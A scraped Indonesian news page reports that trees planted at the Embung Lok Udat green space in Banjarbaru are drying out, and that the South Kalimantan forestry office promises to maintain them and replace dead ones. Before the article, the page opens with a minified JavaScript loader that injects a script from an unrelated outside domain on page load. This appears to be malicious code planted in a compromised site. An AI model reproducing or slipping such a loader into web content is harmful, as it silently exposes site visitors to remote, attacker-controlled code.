(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Tanaman di RTH Embung Lok Udat Kekeringan, Dishut Kalsel Tegaskan Siap Bertanggung Jawab!Â


KANALKALIMANTAN.COM, BANJARBARU – Kondisi terkini tanaman di kawasan Ruang Terbuka Hijau (RTH) Embung Lok Udat Kota Banjarbaru sebagian terlihat berbeda. Nampak tanaman dengan jenis Belangeran, Ramin, dan Gemor yang di kawasan itu mulai meranggas.

Belakangan diketahui fenomena ini disebabkan cuaca yang mulai memasuki musim panas. Ditambah lagi intensitas hujan yang sangat jarang terjadi di kawasan tersebut.

Sebagai informasi, tanaman yang berada di kawasan ini ditanam secara langsung oleh Pj Gubernur Kalimantan Selatan Safrizal ZA serta Dirjen PDAS HL Kemen LHK Helmi Basalamah dan beberapa pejabat Forkopimda. Ya, tepatnya saat rangkaian kegiatan Kick Off RHL APBN dan Penanaman Serentak Satu Juta Pohon Se-Kalimantan Selatan pada awal April lalu.

Dari pantauan di lapangan, tanaman-tanaman tersebut kondisinya terlihat kering. Namun saat dicek akar dan batang masih hijau dan tanaman tersebut masih hidup. Untuk keseluruhan tanaman, memang telah ada yang ditemukan mati. Tapi banyak juga yang masih tumbuh hidup.

Plt Kepala Dinas Kehutanan Provinsi Kalsel, Fathimatuzzahra, menjelaskan tanaman yang berada di RTH tersebut sebelumnya sudah dikoordinasikan dengan Dinas Lingkungan Hidup (LH) Kota Banjarbaru untuk pemeliharaannya. Sayangnya, dinas terkait menyatakan ketidaksanggupannya karena alasan tertentu.

“Secara tertulis mereka (Dinas LH, -red) sudah bersurat bahwa mereka menyatakan tidak sanggup melakukan pemeliharaan. Karena tidak adanya sarana penunjang yang mereka miliki untuk melakukan kegiatan penyiraman di lokasi tersebut,” cerita perempuan yang akrab disapa Aya itu.

Atas permasalahan ini, Aya menyatakan bahwa Pemprov Kalsel dalam hal ini diwakili oleh Dinas Kehutanan akan bertanggung jawab sepenuhnya terhadap keberhasilan tumbuh tanaman. Yakni, pihaknya berkomitmen dengan tetap melakukan pemeliharaan hingga tanaman tumbuh subur.

“Seluruh tanaman yang ada, akan terus kami lakukan pemeliharaan, dan tanaman yang mati akan diganti,” tegasnya.

Pemeliharaan tanaman, diklaim Aya bukan merupakan hal yang sulit. Namun diakuinya memang perlu kesungguhan dan peran serta semua pihak.

“Hal ini dapat kita lihat secara langsung di wilayah Perkantoran Pemprov Kalsel, semua tanaman tumbuh subur dan tinggi. Itu merupakan bukti nyata bahwa pemeliharaan tanaman terus dilakukan secara berkala dan baik. Sekali lagi kami berterima kasih kepada semua pihak yang ikut memonitor keberhasilan tumbuh tanaman,” lugas Kadishut Kalsel. (Kanalkalimantan.com/dewi)

 

Reporter : Dewi
Editor : Cell

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.